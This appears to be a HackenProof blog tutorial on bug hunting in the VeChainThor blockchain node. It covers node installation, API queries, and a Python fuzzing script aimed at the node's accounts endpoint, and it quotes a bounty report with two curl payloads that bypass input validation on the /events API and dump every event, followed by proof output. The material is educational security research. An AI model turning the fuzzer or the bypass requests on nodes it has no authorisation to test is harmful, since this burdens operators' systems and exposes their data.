Hacken Token
$ -- --.--

How to hack VeChainThor?

HackenProof has several VeChain Bug Bounty Programs, such as VeChainThor and VeChainThor Wallet (with quite a hefty compensation system, we might add). VeChain is a blockchain protocol which may seem to be difficult to test. However, we’ll try to show you that it’s not difficult to start bug hunting – we’ll demonstrate business VeChain concepts, node installation guide, API introduction, successful and unsuccessful node hacking attempt (the post has been written by HackenProof’s blockchain security specialist, Serhii Okhrimenko)

VeChain Thor introduction

VeChain is a public blockchain platform that focuses on enterprise adoption and smart contracts. The vision of VeChain and the VeChainThor Blockchain is to build a trust-free and distributed business ecosystem platform to enable transparent information flow, efficient collaboration, and high-speed value transfers. It is commonly listed as a VET on crypto-trading platforms. VeChain Foundation is a non-profit entity built for visibility, inclusiveness, transparency of governance processes.

White paper and documentation overview

The white paper provides information about precondition for the creation of blockchain, basics of blockchain technology and general view of VeChain developers. The white paper contains Governance Model and Design. It describes principles and philosophy of governance structure built on VeChain Blockchain. The next part of the white paper describes VeChain’s economic model. VeChain Blockchain has two levels: VeChain Token (VET) and VeThor (VTHO). VET is like a simple cryptocurrency and VTHO is made to pay for blockchain operations are performed.  VeChain model is designed in such a way that VTHO has generated automatically via holding VET tokens. The VTHO tokens can be transferred and traded. VeChainThor Blockchain is a public blockchain that is designed for the masses. As VeChain Blockchain inherits Ethereum’s concept, it has smart contracts that run on the Ethereum Virtual Machine (EVM). VeChain thereby is able to host large-scale commercial decentralized applications (DApps). VeChain Blockchain uses proof-of-authority protocol, where only Authority Masternodes can validate a block. The next is the architecture and application development guide. This part described VeChainThor’s architecture and a guideline for developers on how to build their own applications that use VeChain Blockchain. Also, the white paper has some examples of existing applications that use VeChain Blockchain.

Node installation

For node installation, I launched an instance on AWS C2 with Ubuntu Server 16.04 LTS image. First of all, I have updated the packages and installed a new version of the software.

[pastacode lang=”bash” manual=”sudo%20apt-get%20update%20%26%26%20sudo%20apt-get%20upgrade” message=”” highlight=”” provider=”manual”/]

VeChain Thor requires Go 1.10+ and gcc.

[pastacode lang=”bash” manual=”tar%20-C%20%2Fusr%2Flocal%20-xzf%20go%24VERSION.%24OS-%24ARCH.tar.gz%0Aexport%20PATH%3D%24PATH%3A%2Fusr%2Flocal%2Fgo%2Fbin%0Asudo%20apt-get%20install%20gcc” message=”” highlight=”” provider=”manual”/]

Clone the Thor repo:

[pastacode lang=”bash” manual=”git%20clone%20https%3A%2F%2Fgithub.com%2Fvechain%2Fthor.git%0Acd%20thor” message=”” highlight=”” provider=”manual”/]

Install dependencies:

[pastacode lang=”bash” manual=”make%20dep%20″ message=”” highlight=”” provider=”manual”/]

dep is a dependency management tool of Go and distributes with Go.

To build the main app thor, just run:

[pastacode lang=”bash” manual=”make” message=”” highlight=”” provider=”manual”/]

Connect to VeChain’s mainnet:

[pastacode lang=”bash” manual=”bin%2Fthor%20%E2%80%93network%20main” message=”” highlight=”” provider=”manual”/]

Connect to VeChain’s testnet:

[pastacode lang=”bash” manual=”bin%2Fthor%20%E2%80%93network%20test” message=”” highlight=”” provider=”manual”/]

API is running on localhost by default. To make it available from web type command below:

[pastacode lang=”bash” manual=”sudo%20bin%2Fthor%20%E2%80%93network%20main%20%E2%80%93api-addr%200.0.0.0%3A8669″ message=”” highlight=”” provider=”manual”/]

After that API is available in your browser at http://{node-ip}:8669

API testing

I want to get information about the latest block. I can get that information by typing in a browser the following link:

http://{node-ip}:8669/blocks/best

In this case, “best” means the latest block. If you want to get information about a different block instead of “best”, type required block number. In my case I’ve got:

[pastacode lang=”bash” manual=”%7B%0A%09%E2%80%9Cnumber%E2%80%9D%3A680202%2C%0A%09%E2%80%9Cid%E2%80%9D%3A%E2%80%9D0x000a610a89a7b8b8363a25f9abd70147f3b3aa2db322cfdeae258e6a817c3584%E2%80%B3%2C%0A%09%E2%80%9Csize%E2%80%9D%3A240%2C%0A%09%E2%80%9CparentID%E2%80%9D%3A%E2%80%9D0x000a6109421b0ae68f0f83f041b321a5d8293b09e91911db8f39bc9e418fe9f5%E2%80%B3%2C%0A%09%E2%80%9Ctimestamp%E2%80%9D%3A1537122030%2C%0A%09%E2%80%9CgasLimit%E2%80%9D%3A15752702%2C%0A%09%E2%80%9Cbeneficiary%E2%80%9D%3A%E2%80%9D0xc8be0902a99f4acf0fcfa2e2462eb3c6774725d6%E2%80%B3%2C%0A%09%E2%80%9CgasUsed%E2%80%9D%3A0%2C%0A%09%E2%80%9CtotalScore%E2%80%9D%3A67161205%2C%0A%09%E2%80%9CtxsRoot%E2%80%9D%3A%E2%80%9D0x45b0cfc220ceec5b7c1c62c4d4193d38e4eba48e8815729ce75f9c0ab0e4c1c0%E2%80%B3%2C%0A%09%E2%80%9CstateRoot%E2%80%9D%3A%E2%80%9D0xe4610040b9d0a45ec72694c0cfc9c00a0e33adbe397b1b38890ef28c7fb62ba0%E2%80%B3%2C%0A%09%E2%80%9CreceiptsRoot%E2%80%9D%3A%E2%80%9D0x45b0cfc220ceec5b7c1c62c4d4193d38e4eba48e8815729ce75f9c0ab0e4c1c0%E2%80%B3%2C%0A%09%E2%80%9Csigner%E2%80%9D%3A%E2%80%9D0x473b001dc2bc56eca9020453b4365fa6389cf625%E2%80%B3%2C%0A%09%E2%80%9CisTrunk%E2%80%9D%3Atrue%2C%0A%09%E2%80%9Ctransactions%E2%80%9D%3A%5B%0A%09%5D%0A%7D” message=”” highlight=”” provider=”manual”/]

As you can see, the node works fine. Next, I am going to test it with some kind of “dumb” fuzzing. Fuzz testing or “fuzzing” is a quality assurance technique used to discover coding errors and security loopholes in software, operating systems or networks.
I wrote a simple python script that implements an incorrect account address into a request. It sends requests asynchronously and the results are being stored in a CSV file.

[pastacode lang=”cpp” manual=”import%20asyncio%0Aimport%20aiohttp%0Aimport%20threading%0Aimport%20time%0Aimport%20string%0Aimport%20random%20%0Aimport%20json%20%0Aimport%20signal%0Aimport%20sys%0Aimport%20csv%0Afrom%20web3.auto%20import%20w3%0Afrom%20queue%20import%20Queue%0A%0A%0Afile%20%3D%20open(%E2%80%98data.csv%E2%80%99%2C%20%E2%80%9Cw%2B%E2%80%9D)%0Ahost%20%3D%20%E2%80%9Chttp%3A%2F%2F%7Bnode_ip%7D%3A8669%2Faccounts%E2%80%9D%0Aheaders%20%3D%20%7B%20%0A%E2%80%9CAccept%E2%80%9D%3A%20%E2%80%9Capplication%2Fjson%E2%80%9D%2C%0A%7D%0Akey%20%3D%20%E2%80%9C0x0000000000000000000000000000000000000000000000000000000000000001%E2%80%9D%0Aev%20%3D%20asyncio.get_event_loop()%0A%0Adef%20id_generator(size%3D214%2C%20chars%3Dstring.ascii_letters%20%2B%20string.digits)%3A%0A%09return%20%E2%80%9C%E2%80%9D.join(random.choice(chars)%20for%20_%20in%20range(size))%0A%0A%0Aasync%20def%20make_request()%3A%0Aasync%20with%20aiohttp.ClientSession()%20as%20session%3A%0Aaccount%20%3D%20w3.eth.account.create(id_generator()).address%0Aaccount%20%3D%20list(account)%0Aaccount.pop(random.randrange(len(account)))%0Aaccount%20%3D%20%E2%80%9D.join(account)%0Aurl%20%3D%20%E2%80%9Chttp%3A%2F%2F%7Bnode_ip%7D%3A8669%2Faccounts%2F%E2%80%9D%20%2B%20account%20%2B%20%E2%80%9C%2Fstorage%2F%E2%80%9D%20%2B%20key%0Atry%3A%0Aasync%20with%20session.get(url%2C%20headers%3Dheaders)%20as%20resp%3A%0Adata_to_write%20%3D%20%5B%5Baccount%2C%20key%2C%20resp.status%5D%5D%0Acsv.writer(file).writerows(data_to_write)%0Aexcept%3A%0Adata_to_write%20%3D%20%5B%5Baccount%2C%20key%2C%20resp.status%5D%5D%0Acsv.writer(file).writerows(data_to_write)%0Apass%0A%0Aasync%20def%20request_producer()%3A%0Awhile%20True%3A%0Aev.create_task(make_request())%0Aawait%20asyncio.sleep(0.1)%0A%0A%0Aev.create_task(request_producer())%0Aev.run_forever()” message=”” highlight=”” provider=”manual”/]

I’ve ran this script a few times and made about 30k request per script request. As a result, I’ve got few CSV files. Each contains parameters of GET requests and status code the respond. Below, there is an example of the output:

[pastacode lang=”cpp” manual=”0x61f1CD81c6E97c54A86E867BBd96aA97B7270cF%2C0x0000000000000000000000000000000000000000000000000000000000000001%2C400%0A0x1836A279a7Da7B0F4F0e0c3c5D4Fb7df7F5aD5e%2C0x0000000000000000000000000000000000000000000000000000000000000001%2C400%0A024c83DFa81949eA4682fB742c6F9D1c28B970240%2C0x0000000000000000000000000000000000000000000000000000000000000001%2C400%0A0x6a11c90675bD3765C66Eeb41C1798e67A181A33%2C0x0000000000000000000000000000000000000000000000000000000000000001%2C400%0A0xd65e1b4b0B74312ef9D9811C0021F4AE5601aDB%2C-0.1×0000000000000000000000000000000000000000000000000000000000000001%2C400″ message=”” highlight=”” provider=”manual”/]

During the test, the node has answered to each request and I’ve managed to get 400 Bad Request errors.

Sample Report from hackenproof.com

https://hackenproof.com/reports/5b032f7db6fa1e27b7cf6ff1
The API/events inputs are validated against a set of rules detailed in the /api/doc/thor.yaml. Here is an example of a noncompliant request dealt with correctly:

[pastacode lang=”bash” manual=”curl%20-d%20%E2%80%98xyz%E2%80%99%20http%3A%2F%2F127.0.0.1%3A8669%2Fevents%20″ message=”” highlight=”” provider=”manual”/]

invalid character ‘x’ looking for the beginning of the value.

This gives the user of a node the ability to use the API in order to get a filtered list of events according to certain options. This vulnerability allows an attacker, having in one way or another access to the API node, to bypass all input validation and, thus, request all events from the node at once.

I have currently identified two ways to bypass the input validation:

[pastacode lang=”bash” manual=”(Bypass%20%231)%20empty%20order%3A%20curl%20-d%20%E2%80%98%7B%20Order%3A%20%E2%80%9C%E2%80%9D%20%7D%E2%80%99%20http%3A%2F%2F127.0.0.1%3A8669%2Fevents%20%3E%20events1.out%0A(Bypass%20%232)%20null%3A%20curl%20-d%20null%20http%3A%2F%2F127.0.0.1%3A8669%2Fevents%20%3E%20events2.out” message=”” highlight=”” provider=”manual”/]

Proof:

[pastacode lang=”bash” manual=”ls%20-lah%20events1.out%0A-rw-r%E2%80%93r%E2%80%93%201%20root%20root%2038M%20May%2021%2021%3A37%20events1.out%20%0Als%20-lah%20events2.out%20%0A-rw-r%E2%80%93r%E2%80%93%201%20root%20root%2038M%20May%2021%2021%3A38%20events2.out” message=”” highlight=”” provider=”manual”/]

Conclusion

We hope that this guide was helpful to you. If you have any questions, regarding the guide, you can drop us a line to our corporate email and we’ll be happy to respond. Mind you, this is not the first, and certainly not the last “how-to” guide that we’ve written. Recently, we’ve published a post that describes how to start bug-hunting smart contracts. Check that out as well.

Please follow our Facebook and Twitter accounts and get updates on new bug bounty programs that launch on the HackenProof platform.

Subscribe to our research

Enter your email address to subscribe to Hacken Reseach and receive notifications of new posts by email.